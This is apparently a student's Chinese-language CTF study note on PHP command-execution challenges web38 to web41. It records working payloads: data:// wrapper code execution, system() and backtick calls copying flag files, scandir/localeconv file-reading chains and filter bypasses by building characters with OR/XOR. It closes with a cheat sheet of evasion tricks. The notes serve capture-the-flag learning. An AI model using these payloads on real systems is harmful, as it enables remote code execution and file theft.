2021/7/7
命令执行
web38
题目提示:nginx的日志文件/var/log/nginx/access.log
替换
1
url/?c=data://text/plain,<?=system("cp fla*.* 1.txt");?> url/1.txt 得到源代码
- = 是短标签
mv命令用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。
mv [选项] source target
cp 命令复制一个文件,而原文件保持不变。如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。此命令中所有参数既可以是绝对路径名,也可以是相对路径名。
cp [选项] 源文件或目录 目标文件或目录
mv只是移动了文件,文件的一切都没有改变,而 cp是在目标文件夹中创建了新的文件。
web39
强制加了后缀php
依然可用
1
/?c=data://text/plain,<?=phpinfo();?>
代码完成后.php不会作为命令执行
- data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的 .php会被当成 html页面直接显示在页面上,起不到什么作用
后面出现的1.php phpinfo()返回值为1 所以方法同38
之前的方法还可用
1
url/?c=system("cp fla?.php 1.txt") ; --> url/1.txt
或者
1
url/?c=`cp fla?.php 1.txt`; --> url/1.txt
web40
重新用eval 但是没有直接说flag在flag.php里
hint答案 1
1
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- pos() 函数返回数组中的当前元素的值,默认取第一个值,pos是current的别名。
- scandir() 函数返回指定目录中的文件和目录的数组。
- array_reverse() 函数以相反的元素顺序返回数组。
- next() 返回迭代器的下一个项目。
- show_source() 函数对文件进行语法高亮显示,highlight_file() 的别名
hint 答案 2 【不行】
1
/?c=session_start();system(session_id());
–> **application **-> Name=PHPSESSID Value=ls 提交页面出现目录但是不可见文件具体内容 后来找到一个解释 ↓
https://www.wlhhlc.top/posts/14827/#web40 这个比较细
```
?c=print_r(scandir(current(localeconv()))); //打印当前目录下文件1
2
3
4
5
![image-20210707154741699](实训7-7/image-20210707154741699.png)
+ ```
/?c=show_source(next(array_reverse(scandir(getcwd()))));//观察flag.php在倒数第二位 开始构造getcwd() — Gets the current working directory
b站答案 【我没成功 hackbar不一样好像】 原理类似hint1
1
/?c=print_r(get_defined_vars()); //获取所有变量
enable post 输入phpinfo(); 至今不知道哪输入的 录屏屏幕不完整啊orz
然后/?c=print(array_pop(next(get_defined_vars()))); 发现可行
最后把print改成eval phpinfo();改成需要的代码 提交
web41 XXXX
突破点在没有屏蔽异或
|
运算 可以通过两个字符的异或拼出想要的字符比如:(‘%40’|’%01’) <–> (‘A’)(16进制异或运算得到65对应ascii码)
代码写成
('phpinfo')();
是可以被浏览器执行的用现有字符拼出所有所需字符
其中的php代码相当于生成异或字典 python相当于自动输入
- exp.py 用法 `python exp.py url
【对我来说是python3】
tamadekazaipythonshanglexuepythonqulebaibai
看python去了
命令执行方法要点
工具 hackbar( f12)
firefox使用 hackbar:用 max hackbar| 下载2.1.3的版本 关闭插件自动更新
技巧
- *?代替字符 ‘’分割字符串
- system() <–> ``
- mv <–> cp
- tac <–> cat(不直接回显)
- include <–>require
新设置参数逃逸 $_GET
data伪协议/文件包含url/?c=data://text/plain,<php代码>
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));